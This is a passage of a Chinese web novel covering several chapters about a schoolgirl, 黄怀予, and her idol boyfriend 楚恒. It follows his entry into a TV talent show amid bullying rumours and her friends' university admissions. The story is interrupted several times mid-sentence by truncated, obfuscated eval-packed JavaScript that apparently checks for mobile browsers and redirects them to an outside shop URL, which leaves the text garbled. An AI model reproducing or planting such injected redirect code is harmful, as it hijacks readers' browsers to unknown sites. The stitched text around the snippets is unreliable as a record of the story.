那人才慢慢转变成温柔的舔舐,一点点吻着她的唇角,动作极尽温柔,额头相抵,蹭了蹭她的鼻尖,喘着气看着她。 “……” 下一秒,“啪——”的一声响,周围突然大亮,屋子里的灯被骤然打开。 刚刚一直习惯了黑暗的眼睛忽然被刺了一下,她“啊”了一声,吓了一跳,更紧地抱住楚恒的脖子,闭着眼埋在他肩膀上。 耳边好像传来什么声音,通过皮肤相触的地方仿佛能感受到他胸腔的震动。 是他在笑。 “……你笑什么?”黄怀予没好气地说。 后脑勺被人抚着摸了摸。 “别怕。” “是我开的灯。” “我想看看你。” “……”她头埋得更深了,恶狠狠说,“有什么可看的!” 刚说完就被一只手抚上后颈,楚恒上半身往后仰,看着怀里的人。 目光一点点扫过她微微湿润的眼角。 又扫过她酡红的脸颊。 最后直勾勾地盯着她的嘴唇。 那目光太过直接,太过赤裸裸,漆黑的眸子沉下来,像是苍茫冰洋上滚烫的焰火,燃烧着熊熊的欲望。 黄怀予越看越不对。 楚恒眼睛都不眨地就这么盯着她的脸看,呼吸却越来越深。 下一秒,她整个人就被抱了起来,虽然潜意识里知道楚恒肯定不会摔着自己,但是骤然失重的感觉还是让她脑子空白一瞬,双腿不由自主紧紧勾住他劲瘦的腰。 “去哪?我自己可以走……唔!” 被放在柔软的沙发上,随后那具高大的身躯就压了上来,再次堵住了她的唇。 * 黄怀予睁开眼睛的时候,躺在自己的床上。 是自己的床。 在楚门的床。 床头的手机又震了两下,她眯着眼睛睡意惺忪地去拿,发现又是谷奕在群里叫她出来吃饭。 “今天吃火锅?还是烤肉?还是寿司?万达新开了一家电玩城,下午去看看?” 她把手机扔回床头,继续蒙上被子睡觉。 没过一会,手机又震了两下。 她从被子里伸出一只手,点开一看。 【楚老师】:醒了吗。 她模模糊糊点开聊天框,还没想好打什么字,下一秒手机铃声就震耳欲聋地响起,对面直接一个电话打了过来,吓得黄怀予手机都掉了,砸在自己鼻梁上,痛得眼泪都出来了。 “醒了吗。” 听筒里传来男人低沉清润的声音。 “看你正在输入中,所以直接打过来了。” 黄怀予还在擦眼泪,把手机放到耳朵边,哼哼唧唧嗯了一声。 对面却瞬间停滞了一下。 “怎么了?” “为什么哭腔这么重。” 她没回答,抽泣了一下。 对面呼吸陡然重了起来,立刻就响起窸窸簌簌的声音,像是正在穿外套。 他声音里带着一丝急切。 “说话。” “我现在过去。” ? “你过来什么啊!你从帝都坐飞机过来?” 黄怀予终于回过神来,抽了两张卫生纸擦干眼泪,嗓子哑哑的。 “你突然给我打电话,我手没拿稳,手机砸到鼻子上了……” 对面上一秒还传来开门的声音,下一刻就一下子安静下来。 好几秒之后,那人才重新开口,声音里带了一些无奈。 “嗯。” “痛吗。” 黄怀予说:“痛得要死了!” 耳朵边响起那人很轻的笑。 “抱歉。” “下次不在你没清醒的时候给你打电话了。” “……勉强接受你的道歉吧。”黄怀予把头埋进被子里,听着楚恒的声音从听筒里传进来,贴着耳朵,带着微微电流的失真感,心跳不知道为什么有点加快,小声说,“如果我真的哭了呢。” 对面传来衣料摩擦的声音,像是在脱衣服。 过了几秒,楚恒才不咸不淡地说: “我刚刚已经准备去机场了。” 黄怀予很是开心地哈哈大笑。 “你如果老是这样时不时就过来,那你的正事怎么办?” “去找你就是我的正事。” “……可是我也有我的正事!” 对面顿了一下,声音像是骤然就有点冷了下来。 “嗯。比如呢?” “比如,这几天我的录取通知书就会寄到了。这是不是正事?” 楚恒抿唇不语。 这当然是正事。 她在帝都待了快两周的时间,就是因为录取通知书要开始邮寄了,所以才一张机票就回楚门了。 “你怎么不说话?” “你是不是生气了?” 楚恒呼出一口气,“没有。” “肯定生气了。” “……” “楚老师。” “嗯。” “楚恒?” “我在。” “男朋友?” “……”对面呼吸有点急促,声音很低,“我真是败给你了。” “节目录制过几天开始,我明天就准备去魔都了。” 他语气似乎带着点温柔和无奈,“你是想听这个吗?我的正事?” …… 黄怀予呆在帝都的最后几天,楚恒已经完成了和梁吟东的签约,成为了东吟公司第一位签约艺人。 紧接着梁吟东就迅速进入了经纪人的角色,拉着楚恒去参加了几场酒席,席间给几个制片人和电视台高层不停敬酒,最后出来的时候拍拍他的肩。 “前几天刚得到消息,S台准备办一档选秀节目。” “投入很大,是个大项目。” “投票制的,一轮一轮晋级淘汰,前三名和S台能达成一年合作关系。” “这次估计很多公司都会派练习生和艺人过来,大家都盯着这个曝光平台,光是海选就很严格,初审淘汰率就是50%。” 她盯着楚恒。 “这是个非常好的机会,好好准备面试。” 楚恒站在原地。 帝都夏夜的风有点冷,吹得酒意消散。街上行人三三两两,他仰头,望见天边一轮明月。 机会。 真的吗?他知道自己一向不是一个幸运的人。 曙光真的会出现吗? 那些痛苦、纠结、无人知晓的日子,真的可以改变吗? 楚恒不自觉收紧五指。 他想到了那些尘封已久的梦想,噩梦之中离他越来越远的舞台和灯光,电脑文件夹里满满的废歌稿子,在练习室里练到肌肉酸痛的记忆片段。 ……过了很久,他才听见自己晦涩的声音。 “有用吗?” 这不是质疑,是楚恒真的想知道有没有用。梁吟东听出了他的弦外之音,选秀节目这并不是开天辟地第一桩,到了最后已经很难说什么公平,好像一切都是可以操作的,大公司好背景的选手似乎一定比单枪匹马来得容易。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没人听过,好像也没人在意——楚恒就这么抱着她,窝在帝都他家的卧室里一点点教她弹吉他、喂蛋糕,以至于她甚至都快忘了,楚恒在音乐和自己的事业方面是一个什么样的人。 “开始录制节目以后,可能不能时常接你的电话,也不能时常联系你了。” 他的声音飘飘渺渺传来,压得很低,带着本人自己都没有察觉到的柔和。 “没关系。”黄怀予把头埋进被子里,声音闷闷的,“等节目播出了,就能在电视上看见你了,对吗?” “对。” 楚恒语气有些漫不经心。 “可是我看不见你。” 他顿了一下。 “真不公平。” 耳边响起他低沉磁性的声音,这句话像是有生命一般钻进她耳畔,黄怀予心跳漏掉一拍,不知不觉在床上蜷缩成一团。 “我想你。”她突然说。 “这样,公平吗?” “……”对面骤然寂静无声。 楚恒静止不动。 心脏像是被人狠狠揪住,又猛然听见手机里传出她上扬的尾音。 他立刻反应过来,她此时一定很开心,脸上一定带着狡黠的笑,她就想看看他听到她突然的表白以后是什么反应,所以故意主动地说这些话。 她又这样。 她总是这样。 百日誓师那天她不记得和他的第一次见面,于是立刻就说他长得多么好看,天神下凡,直到把他说得招架不住。 在梁吟东公司楼下说了分手,他生气了,她马上就摸摸他的头,踮起脚尖猝不及防吻了三下他的下巴。 甚至回到家也是这样,她想吻就吻,想亲就亲,想亲几次就亲几次,最后还不怕死般试探着舔他的唇。 …… 楚恒紧紧握着手机,瘦削的骨节都有些泛白。 半晌,他呼出一口气,早知如此般笑了一声。 “公平。” 他和她之间,非常公平。 “再多说几声想我吧。” 当一个人心甘情愿的时候,什么对他来说都是公平的。 147. 第 147 章 黄怀予出门去找谷奕和苏琬吃午饭了。 烤肉的香气丝丝缕缕升起,映出对面谷奕面无表情的脸。 “你还真是难约啊。” 他抱着胸,冷冰冰吐出几个字。 “从帝都毕业旅行回来以后,整整两个星期,完全不见人影。” “去哪了?” 去谈恋爱了。黄怀予在心里默默说。 黄怀予给苏琬盘子里夹了一块肉,“这五花肉好吃。尝尝。” “问你呢。” 黄怀予给谷奕倒了一杯酸梅汤,“他们家饮料还不错的。” “黄怀予!” 苏琬骤然抬起头,推了谷奕手臂一下,“那么凶干什么?” 黄怀予大喊:“琬儿!他吼我!” “你!”谷奕眼睁睁看着黄怀予站起身,绕过桌子走到对面苏琬旁边钻进了苏琬怀里,苏琬还摸了摸她的头,她躲在苏琬垂下的发丝后面,冲自己得意地笑。 “操。” 他狠狠瞪了她一眼,认命般拿起桌上的夹子,冷着脸开始把烤盘上的肉一个个翻面。 又把大的肉块用剪刀剪开,一半放在苏琬盘子里,一半放在对面黄怀予盘子里。 最后又往烤盘上放上了新的生肉。 “哇……好贴心的服务啊,谷公子~” “闭嘴。”谷奕头也没抬,黑着脸,手上动作不停,“哪次跟你们出来不是我烤的?” 黄怀予又溜回了自己的座位,开始大快朵颐。 “我哪也没去,就是跟我外婆外公回老家了。”她说话含含糊糊的,“在楚门江边农村那里,呆了两个星期。” “真的?” 这个原因确实合理且无法拒绝,谷奕听她说完倒是也不生气了,“那你怎么不早说。” 黄怀予埋头吃肉,就听见对面传来苏琬平静的声音,“江边农村,那碰见你爸了吗?” “!” 她立刻一噎,在心里大草特草。 果然,一个谎言要用无数个其他的谎言来弥补。 苏琬太了解她了,她的习惯、生活环境、性格特点、家庭背景,从头到脚一清二楚,她觉得苏琬也许是世界上最了解她的人。 比如,她外公和她爸爸出身都是同一个村子这件事,也只有苏琬才能这么清楚,并且精准抓住细节。 “碰见了。没打招呼。” “之前不是当着大家的面闹掰了,还在酒席上扇了他一巴掌吗。” “我家家也说从此以后就不用往来了。” 她心虚地说完,喝了一口饮料,借机仰头去看对面苏琬的神色,却见她盯了自己看了几秒钟,随后突然点点头,“原来是这样。” 之后就再也没提过这个话题。 …… 三个人去电玩城厮混了一下午。 苏琬说想抓娃娃,谷奕一掷千金,直接买了四位数的游戏币,搞得店里工作人员甚至一个个都来围观,收钱的时候笑容比花还灿烂。 最后三个人比赛限时一小时抓娃娃。 苏琬毫无悬念地赢了,毕竟她干什么都很厉害。 黄怀予和谷奕鏖战一小时打了个平局。黄怀予这辈子是无法接受并列这件事的,要么就赢,要么就输,不清不楚的算怎么回事? 于是又加时了一小时。 三个人抓到的娃娃太多,工作人员站在一边拿了一个大袋子专门给三人收着,慢慢吸引了好几个人都在围观。人一多,谷奕又来劲了,最后十几分钟打了鸡血似地,最终以两个之差险胜黄怀予。 ……但是黄怀予这辈子也是无法接受倒数第一这件事的。 于是两个人继续加时。 苏琬出门买了三杯奶茶回来的时候,两个人还在战斗。周围还站了四五个小学生,抱着手臂站在旁边给两个人摇旗呐喊大声加油。 “……”这略显荒谬的一幕也是难得看到。 苏琬站在一旁录视频,录下了黄怀予大获全胜的最终画面,最后把视频发进了“祝你开心到想(4)”群里。 三个人都在现场,那这个视频是给谁看的? 苏琬把手机锁屏,放进口袋里,喝了一口奶茶。 反正有人会看的。 反正有人应该也想看。 …… 到最后,三个人又去了1969。 今天正好有演出,李鸣月忙得脚不沾地全场到处走,小周把三个人引到老位置。 黄怀予喝得大醉,在震耳欲聋的音乐声里摇头晃脑。 谷奕出去给两个人买宵夜去了,黄怀予勾住苏琬的脖子,贼兮兮地问:“你和谷奕到什么进度了?你们俩牵过手了吗?” 苏琬看了一眼她,抽了一张卫生纸,给醉鬼擦脸。 “牵过。” “抱过吗?” “抱过。” “做过吗?” “?”苏琬露出一个无奈的笑,“你怎么不按顺序问?” “哈哈哈哈哈!”却见醉鬼完全已经听不见话,眼神已经开始迷离了,一个人自嗨似地哈哈大笑。 黄怀予到最后已经分不清现实和虚幻了,她就记得自己好像躺在苏琬怀里,闻到了她身上淡淡的香味。 苏琬好像在说话。 苏琬说:“你呢。” 我? 我什么? 黄怀予脑子昏昏沉沉,趴在苏琬身上,睡了过去。 * 魔都。 S电视台,《光芒之下》节目组。 今天是进入海选的选手进入随机分配的宿舍的第一天,每个人已经收到了自己的宿舍分配结果。 人群三三两两,全是年轻帅气的同龄男生,大多都妆造齐全,拖着行李箱。 进入宿舍的这一段也会被当做节目花絮剪进去,很多比赛前就已经被预料会成为大热门的选手就已经有了跟拍摄像,从拎着箱子进入宿舍楼周围开始就已经进入了镜头里。 上一秒还在车里一言不发玩手机的人,下一秒下了车拖着箱子就露出羞涩阳光的笑容,对着镜头打招呼,略显生涩地说:“现在就开始拍吗?我还没准备好呢……” 楚恒一个人拖着箱子,独自站在大楼附近。 周围选手大多都三三两两结伴而行,有的是之前就认识的朋友,有的是来了以后立刻就变得熟识结伴的新人。一眼望过去所有人都妆造整齐,嘻哈青春酷帅休闲各种风格都有,像是为一开始就能被拍进节目做准备。 只是,不是所有人都能有被拍的权利—— 楚恒淡淡扫过四周,只看见一个穿着黑衣服扛着摄像机的工作人员,他正在拍一个年轻男生。 高个子,清瘦,穿一身黑,宽大的外套帽子戴起来包住了整个头,远远站在那里,看不清脸。 可是,他旁边却放着一个粉色的行李箱,箱子上还贴了满满的hellokitty贴纸,看上去跟他整个人的气质极其违和。 除了这个人以外,入目起码有几十个选手,可是能看见的跟拍摄像却只有零星两三个。 其他选手经过那个年轻男生的时候,都不由得纷纷停下脚步驻足,有的胆子大的直接走上去,也不管两人之间是否认识,就上前跟他搭话,期望能蹭到一些镜头。 …… 楚恒平静收回目光。 能有机会被拍的,基本都是大公司出身、已经出道、已经有一定知名度和粉丝基础的人。《光芒之下》是个大项目,S台也算得上老牌,这种本该让糊咖变火的节目却也吸引了很多现役正当红的男爱豆,大家同一平台竞争,更让其他小透明觉得希望渺茫。 ——嗯。糊咖,也包括他自己。 楚恒心里没什么波澜。 经过那个年轻男生的时候,他连脚步都没有停下,径直穿过人群,走进了宿舍楼。 一路来到已经指定好的房间,他推开门。 标准两人寝,和新娱的艺人宿舍差不多。 整理好所有行李,他拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228810|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机准备出门,下一秒却迎面撞上一个男人。 “……”他不着痕迹皱了一下眉头,迅速往后退了好几步,低着头,并没有任何一丝打算结识一下新舍友,吐出两个字“抱歉”就准备继续出去。 ——“居然是你?” ——“你住这里?” 两声不太礼貌的问句,没有任何打招呼的前提,直愣愣一句话就直接说了出来,还带着说话者不怎么友好的语气。 楚恒一顿。 看见脚边,一个粉色的贴满hellokitty的箱子。 他抬起头,看了一眼那人的脸。 ——天星公司旗下现役男团BREAKER队长,沈一临。 “借过。” 楚恒目不斜视从他身边走过,再也没看他一眼,走出了宿舍。 …… 从练习室走出来的时候,已经是晚上十一点多。 回到宿舍,里面空无一人。 对面的床已经摆上了生活用品。 楚恒扫了一眼柜子下方那个贴满hellokitty贴纸的粉色行李箱,随后收回目光,径直走向卫生间洗澡,上床休息。 没过一会,门被打开。 有人走了进来。 似乎是看见对面床上有人,那人脚步顿住,又深呼吸一口气,重重地把手里的包甩到了桌子上,发出“砰——”的一声响。 灯被关掉,无人说话。 …… 选手入住宿舍之后的第二天,就是初选的日子。 《光芒之下》一共有三次选拔,选手进行表演,现场有四位导师。比赛采取末尾淘汰制,每一轮选拔都将根据网络投票结果淘汰掉一部分人,最终决出前三名。 后台休息室里,成群结队的选手都在这里等着,有的在补妆,有的在角落最后练习着舞蹈动作,大部分都三三两两聚集着聊天,以缓解马上就要上台的紧张。 楚恒一个人坐在最角落的椅子上。 没有认识的人,也没有任何必要去进行社交。 眉眼冷峻,抿着唇,周身弥漫着无人靠近的低气压。 手机震了震,他拿出来,看见上面的内容之后,神色立刻温柔了很多,迅速站起身,边打字边走向洗手间。 【杯子】:今天和苏琬谷奕去喝了奶茶。 【杯子】:这个桃子味的超级好喝! 【杯子】:下次你来楚门,我们一起去喝吧! 楚恒低着头走在熙熙攘攘的电视台后台走廊里,周围无数人穿过他的身侧,顶层的光照在他身上,把他周身那种冷淡的气息也冲散很多。 “好。” 对面没过几秒钟又立刻回复。 【杯子】:怎么回事!刚刚无意间和他们提到你,怎么大傻说你桃子过敏! 【杯子】:他说你一吃桃子就呼吸困难,浑身发红。 【杯子】:那我刚刚说以后和你一起来喝,你居然还说“好”? 【杯子】;你肯定没看我在说什么!你好敷衍! 【杯子】:不想理你了。 楚恒嘴角淡淡勾起一个很轻的弧度。 “没有不看。” “我看了。” “好的意思是,我愿意和你一起去。” “过敏的话,我可以不喝那一款桃子味的。” “但是,我不想拒绝你的邀请和期待。” 对面停了几秒钟,发了一个省略号过来。 楚恒笑了一声。 “现在可以理我了吗。” 【杯子】:……哼。 他看着这条消息,心头像是被什么触动,一下子变得柔软无比,呼吸有些急促,脚步也不由得快了起来,只想走到外面给她打电话,听听她的声音。 ——“楚恒?!” 他浑身一僵,整个人都停住动作,站在原地。 锁上手机屏幕,抬起头。 看见前方不远处,赵焰站在那里,眼里透着震惊。 148. 第 148 章 “这次《光芒之下》,STAR全员都参加了。” “赵焰和顾安过了海选。” “你们避无可避会碰见。” “不要起冲突,看见了就躲远,尽量避免正面接触。” …… 梁吟东的叮嘱在楚恒脑子里响起。 他站定。 就这样看着赵焰一步步朝自己走过来。 S台后台走廊的灯光很明亮,赵焰穿了一身白的演出服,脸上颧骨处好像还贴了一些钻,在光线照耀下显得很是精致。 他脸上闪着变幻莫测的神情,盯了楚恒一会。 走上前,又上上下下打量了他全身,嗤笑一声。 “你居然还真来了啊。” “该说你痴人说梦?还是井底之蛙?” “个人名义来的?还是签给了哪个不知名的小门小户的野鸡公司?” 他一步步逼近,扫了一眼楚恒全身。 “离了新娱,连演出服和妆造都是一股小家子气和穷酸样。” “你少做梦了。” 赵焰走近,脸上闪着不屑一顾的轻蔑。 “先让你公司去把你那些疑似霸凌的传闻给清清干净再说吧。” 说完,赵焰再也没看楚恒一眼,狠狠撞了一下他的肩膀,快步从他身边走过。 …… 楚恒站在原地。 抬头。 正好对上前方不远处顾安看过来的眼神。 顾安穿了一件和赵焰同系列的演出服,整体风格一样。两人将以STAR的名义,作为团体合作表演初试舞台。 顾安皱着眉头,也是完全没想到会在这里碰见楚恒。 有多久没见了?好像很久了。 他本以为楚恒之前看上去逆来顺受,对赵焰多年的挑衅和步步紧逼似乎完全不在乎,到最后又看出了赵焰想逼他走,于是干净利落地直接乖乖付了几百万的违约金,这就已经能说明这个人不打算再在这个圈子发展下去了。 他偶尔总能听见新娱没出道的练习生讨论前辈的八卦,而这段时间以来说的最多的就是楚恒。 因为长相被星探发掘,只练习了八个月就超过同期所有练习生,每次考核都断层第一,一出道直接就是Center和主唱。性格冷郁,不愿意与人接近,独来独往,高冷无比。 可是出道以后就好像被带走了所有气运。好势头慢慢降下去,团体出道三年却一直无人知晓,最后突然因为身体原因直接退团。 大家都在猜测他下一步会怎么做的时候,霸凌帖子突然爆出,他就这么带着一身洗也洗不干净的黑料,平静地付了几百万的违约金,走完了和新娱的解约程序。 ——高开低走,一路降到谷底,像是被打趴下了,认命了,老老实实退圈去当素人了。 未出道的练习生年纪小,都带着谨小慎微的八卦之心。前辈的道路或许就是自己之后的道路,一个个除了吃瓜还有众多其他的复杂情绪,有的扼腕叹息,有的骂他霸凌活该。 曾经练习生眼里天才一般的前辈新星,最后居然就以这样的方式陨落了。 …… 顾安捏紧拳头。 他感觉楚恒精神好了许多,没有之前那么清瘦,看上去似乎精壮了一点。 刘海全部梳上去了,头发也早已不是之前的金发,而是乌黑的颜色。头发剪短了一些,更衬得眉眼多了一点锋利,鼻背高挺,脸型精致,虽然穿得简单,气质却挺拔出众,一个人不说话站在那里,似乎就已经能吸引很多目光。 他隐隐觉得不对。 这绝对不是一个被打趴下的人会有的状态。 更何况,一个被打趴下的人怎么可能还会来参加《光芒之下》?S台的大制作项目,一定项就被几大公司盯着,海选淘汰率就已经达到50%。 陈影和钱明哲都在海选的时候就被淘汰了。 楚恒能站在这里,就说明他已经通过了50%淘汰率的初级测试。 顾安有些心惊,楚恒淡淡站在前方不远处,就那么平静地看着他。 那眼神,像在看一个完全的陌生人。或者说,他是带着野心来的,这里所有的选手,都是他的竞争对手。 “……”顾安低下头,一步步走过楚恒身边,留下一句,“我还真是小瞧了你。” 最后看了他一眼,随后离开了。 * 楚门市,楚味楼。 301班班长在群里说班费还剩下一部分,想在楚味楼请老师们最后吃一顿饭当作谢师宴。同学们一呼百应纷纷都说要来。 大家基本都已经收到了录取通知书。 黄怀予前几天刚去拿的快递。打开一看,大红色鲜艳的快递包装,江城大学社会学第一志愿录取。 苏琬多年的愿望终于如愿以偿,江城大学法学第一志愿录取。 谷奕超了一本线十几分,最后填了江城经济大学。是一个普通一本,但是学校比较有钱,近几年发展得也比较好,资源也丰富。 选志愿的时候,黄怀予兴冲冲问谷奕:“你是不是应该直接选酒店管理?” “天哪,完全对口!我没见过对口性这么强的例子!” 谷奕切了一声,白她一眼。 “我要学酒店管理,我还需要去学校里学?” “学校里能教给我什么?” “我直接回家,连实习岗位都能给我安排好,任何级别任何城市任何待遇,所有事情都能亲自上手干。” “我连我妈的位置都能亲自体验。” 谷奕给苏琬和黄怀予看自己电脑上提交的结果。 “查了点资料,最后选了一个电子商务。” 他耸耸肩。 “说实话,我选什么都无所谓。前几天问了我妈,她比我更无所谓,讲了几句就挂了电话。” “所以我就选了这个。我最讨厌理论,不如直接去做事。这个看上去实践性强一点,我看江城经济大学官网还有前几年电商专业的一些论坛活动,似乎平台资源不错,也许会没那么无聊。” …… 黄怀予也发消息询问了其他同学们的情况。 吴如冬考上了江城理工大学,是一所211。 杨捷去了魔都经济大学读会计,一所211,大城市,学校有钱,资源多。 林潇潇没考上帝都和魔都的学校,艺考查成绩发现每一所院校都差那么几分,已经心灰意冷。最后在浙省传播学院查出成绩,全省排第四名,但是浙省传播学院在云省只收三个人。 她多方打听,得知第三名正好是楚门一中隔壁302班的一个女生,立刻就托中间人加上了她的联系方式。两人约定好了,最后确认302班的那个女生填了魔都戏剧学院,林潇潇填了浙省传播学院,两人都成功录取。 李唯艺走的美术生提前批,最后去了综合性院校的江城理工大学,读视觉传达。 程朗去了云省警校。白度考得实在太差,被他妈妈勒令去复读。 卫语去了帝都的W大计算机专业。冯尽欢也在帝都的一所普通一本,离W大很近。 齐龙飞如愿去了帝都的W大考古学,并且听说她是整个专业最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“吃饱了吗?走吧,刚刚又上了菜,去吃吃?” …… 黄怀予跟在两人身后也回到了饭桌上。 她也和那女生一样,不明白老师说的话。 她才18岁,学校、老师和家长都给自己编织了关于这个世界的幻梦,她把课本里讲的东西当成现实。她觉得自己是受人艳羡的明日精英,是世界的中心,世界是围绕着自己旋转运转的,努力就会有回报,太阳明天一定会升起。 要么,以后会从名校毕业,在大城市当月薪几万的白领,踩着高跟鞋拿着咖啡,被人叫“总监”。 要么,在某一个很有意思的行业干到顶尖,结识各种行业大拿,说着外语参加商业活动。 要么,去做自己喜欢的创造性工作,写文字、画画、设计,任何东西都可以,一堆粉丝在互联网上追随自己,叫自己“太太”,自由职业不用上班,吃喝玩乐旅居全国。 房价?金融危机?存款?辞职? 一个字都没想过。 她想到了之前在1969问李鸣月如何填志愿的时候,李鸣月对她说过的那番话。两者一相对比,似乎能从中看到许多相似性——只是黄怀予就算能听懂也无法理解。 也许要等到她也到了李鸣月的年纪,才能真正理解这些话是什么意思吧。 至于现在? 她挤在301班所有老师同学中间,在前方服务员举着手机说“三——二——一”的声音里,大声笑着喊“茄子!” 至于现在,先在被允许幼稚的学生时代里,享受一下她单纯愚蠢的十八岁吧。 149. 第 149 章 S台即将要举办选秀节目的消息开始在网络上放出。 一些营销号也开始迅速抓住这个热潮,纷纷发帖: “《光芒之下》选手最新路透照公布!看看你pick谁?” “《光芒之下》一百名选手决出最后三名,S台时隔十年再次办选秀!” “《光芒之下》导师阵容强大,网传有她?当事人工作室辟谣:未确认的消息不约!” 评论: “又有选秀了?下个月又有的看了。” “一眼看过去怎么没几个长得帅的,一个个都歪瓜裂枣的。” “S台也算是选秀老台了,十年前《闪亮新星》火遍全国,前三名现在都还很活跃。这次不知道能办出什么结果。” “BREAKER队长沈一临,绝对ACE,唱跳俱佳唯一大TOP!” “卧槽,P9是谁,有点帅啊,幻视陈冠希。” “P9是沈一临!天星旗下BREAKER队长!请多多关心吧!” “沈一临?名字怎么有点熟……现在娱乐圈起艺名都喜欢叫这个格式吗?MOON不是还有个女爱豆叫沈一瑾。” “哈哈哈哈哈,那是真名,人家是亲兄妹啦!” “有没有一种可能,他们俩是同父同母。” “笑死我了,不认识现在新生代小明星的我上网belike。” “卧槽,我说怎么长得这么眼熟,这么一看兄妹俩长得确实像。” “怎么他还拿个hellokitty的粉箱子?” “破案了,沈一瑾前几天刚换了微博头像就是hellokitty,暗戳戳给哥哥参加节目加油呢。估计这箱子也是沈一瑾给他贴的。” “别管了,妹妹给他贴的恨不得展示给全世界看,22岁正是爱炫耀的年纪,原谅一下我们妹控临子哥吧。” “怎么这么多现役的也去了?这节目成了回锅肉大本营了。” “上面说回锅肉的,有点难听了吧,有机会就要抓住有什么不对吗,能多一个曝光平台为什么不去试试呢。” “P11中间一个人站着的,那是之前说霸凌的那个吗?上次吃瓜的时候不小心看见的,之前完全不认识,后来看了照片发现还挺帅的。” “对,就是他,前STAR的Center楚恒。” “霸凌咖去死啊!怎么还能参加节目啊!” “哪来的糊豆,听都没听过,还能胡作非为霸凌队友,也是绝了。” “看了一圈发现大家都说他霸凌,但是怎么看到现在都没有什么实质性的证据?” “霸凌要什么证据,难道欺负人的时候还能要求受害人保持清醒录音录像吗?他都已经有这方面的争议了,就说明自身也肯定有问题,苍蝇不叮无缝的蛋。” “同意上面的,有争议的人,管他是不是真的,不pick他不就行了。这节目一百个选手,总有你喜欢的吧,让他无声无息被淘汰呗。” “亏我看了一圈就觉得这人最帅,冷脸酷哥,还以为能捡到个小爱豆搞搞养成系,结果怎么一点开评论居然有霸凌争议……我这体质也是绝了。” “霸凌咖退赛。” “支持,霸凌咖退赛!” “我靠,STAR也有两个人去了……这下精彩了,不知道正片能不能看见他们三个人正面同台,太刺激了。” “肯定一剪梅,不用想了。” 《光芒之下》的宣传越来越多,关于各个选手的介绍和褒贬不一的评论也越来越多。 几天过去,热搜上除了节目组名字之外,居然还出现了好几个选手单人热搜,诸如“沈一瑾和沈一临居然是亲兄妹”、“沈一瑾hellokitty”、“沈一临22岁正是爱炫耀的年纪”、“陈锐长发”、“凌昀再次出发也需要勇气”。 而在这群轻松的正面热搜词条里,却突兀地插进了一条“楚恒霸凌”的标签,明晃晃地定在了11名左右的位置。 在其他稍微有些名气的选手都可以有一个正面热搜的时候,只有楚恒,从一开始就面对着铺天盖地的退赛辱骂。 仍然有一些STAR从前的老粉选择站出来为楚恒说话,但是这唯一的负面热搜比起其他营销感过重的词条也多了更多点击和热度,吸引了很大一批视线。 互联网网民本质都是喜欢吃瓜的,群情激愤的人喊着“人品不行,实力再好也没用,退赛!”,平淡的围观群众感叹“挺帅的,怎么居然是个霸凌咖”,别家选手极端粉把楚恒照片p成鬼图开始屠广场。 吵吵嚷嚷,热度居高不下,“楚恒”的名字就这样和“霸凌”两个字紧紧捆绑在一起,在大众面前挂了四五天之久。 …… 黄怀予这几天都选择不看手机。 这还是之前在帝都住楚恒家里的时候,楚恒告诉她的。 “别看,除了会影响心情,没有任何作用。” 不过……黄怀予想了想,那段时间确实不看手机也不觉得无聊,因为每天都过得很充实。白天被他抱着教吉他,下午去楼下撸狗,晚上等他回来给自己带蛋糕,再然后……就是被他压在沙发上亲。 黄怀予可以自我调理,但是谷奕没法调理。 楚恒糊了那么多年,谷奕都觉得没什么,没人夸也没人骂,安安静静也挺好。 但是如今终于有了一些热度,却没想到没涨多少粉丝,来的全都是骂他的,谷奕真没见过这种阵仗,每天都黑着脸一言不发刷手机。 “不行。” “不能就这么坐以待毙。” “他现在不在大公司,没人给他公关,难道就这么等着谣言传播越来越广吗?” 谷奕一把把手机扔在桌上。 “我要找人帮他反黑。” 黄怀予和苏琬听了这话后,对视一眼,“你要找谁?” 事实证明,只要有钱,很少有办不到的事情。 谷奕通过辛桐的介绍,认识了几个agency老板,最后找了一家agency帮楚恒做公关和澄清,立志说等比赛开始,就要狠狠投票,把楚恒投成第一名。 * 暑假已经溜走一半的时间了。 楚门的太阳毒辣辣地晒,长久的燥热的无法忍受的夏天又这样强硬着侵入所有人的记忆。 2018年的夏天好像和之前每一年的夏天都没有什么不同,黄怀予扔掉了书桌上所有的梦想牌笔芯,从陪读街搬回了楚港区的旧房子,只和苏琬家隔着一栋楼。 碧绿的树叶,参天的大树,红砖楼房,巷口的胡奶奶胡爹爹得了骨癌去世了,已经没有人会坐在巷口看着走过的人群。 她一步步走在树荫下,突然觉得自己挣扎去鸡鸣区跑了一圈,高中的这三年昏昏沉沉地度过,疯狂鸡血般地考学、升学、竞赛,被优绩主义侵占着狂殴以后伤痕累累地回头望了一眼,却发现住了十几年的旧楼房,还在绿荫下,静静地等她。 …… 苏琬在楚门找了一个家教做。楚门一中文科高考648分的成绩非常有说服力,前来询问的家长络绎不绝。 黄怀予在家闲得没事干,干脆报了个班,去学吉他。 她高三的时候,天天都帮谷奕带快递带奶茶,攒了很多钱。本来想正好作为毕业旅行的经费,结果毕业旅行谷奕全程安排妥当,在帝都玩了一周,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 